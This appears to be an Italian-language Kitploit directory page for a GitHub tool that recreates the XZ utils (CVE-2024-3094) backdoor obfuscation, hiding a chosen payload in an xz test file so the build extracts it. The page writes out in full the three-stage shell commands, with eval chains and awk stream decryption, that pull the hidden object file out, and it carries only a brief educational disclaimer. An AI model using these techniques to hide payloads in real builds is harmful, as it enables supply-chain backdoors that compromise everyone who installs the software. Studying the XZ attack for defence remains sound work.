Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ExploitReverse EngineeringAnalisi MalwareSicurezza della Supply ChainApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubthomrgn/xzutils_backdoor_obfuscation

xzutils_backdoor_obfuscation

Script per offuscare un payload nello stesso modo in cui è stato fatto dall'attacco XZ utils (CVE-2024-3094)

Vedi Repository
310 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

xzutils_backdoor_obfuscation

Questo script ricrea la tecnica di offuscamento utilizzata nell'attacco XZ utils (CVE-2024-3094). È stato testato solo per xzutils v5.6.0.

⚠️ Questo codice è fornito solo a scopo educativo e non deve essere utilizzato per attività dannose. Utilizzalo a tuo rischio. ⚠️

Prerequisiti

Devi avere il good-large_compressed.lzma originale di xzutils 5.6.0 nella tua cartella di lavoro.

Utilizzo

Esegui il seguente comando: ./obfuscate_payload.sh [tuo_payload]

Verrà creato un file good-large_compressed.lzma.modified, che deve essere posizionato nella cartella test/files del codice sorgente di xzutils 5.6.0 con il nome good-large_compressed.lzma. La backdoor verrà quindi estratta durante il processo di compilazione.

Limitazioni

Questo codice è stato testato con un liblzma_la-crc64-fast.o modificato della stessa dimensione dell'originale. L'utilizzo di un file più grande potrebbe non funzionare, poiché la dimensione del payload è limitata.

Deoffuscazione del payload

Questa parte è opzionale e mostra come deoffuscare il payload da good-large_compressed.lzma. Puoi usarla con il file originale o con uno creato utilizzando questo progetto.

Prerequisiti

Devi avere il good-large_compressed.lzma originale e bad-3-corrupt_lzma2.xz di xzutils 5.6.0 nella tua cartella di lavoro.

Passo 1: Estrarre lo script nascosto in bad-3-corrupt_lzma2.xz

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

Questo ti fornirà uno script bash che eseguirà il passo 2.

Passo 2: Estrarre il secondo script nascosto in good-large_compressed.lzma

Esegui il seguente codice, tratto dall'output dello stadio 1:

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

Questo ti fornirà un altro script bash che eseguirà il passo 3.

Passo 3: Estrarre il payload nascosto in good-large_compressed.lzma

Esegui il seguente codice, tratto dall'output dello stadio 2.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Questo estrarrà il payload offuscato liblzma_la-crc64-fast.o.

Scarica lo strumento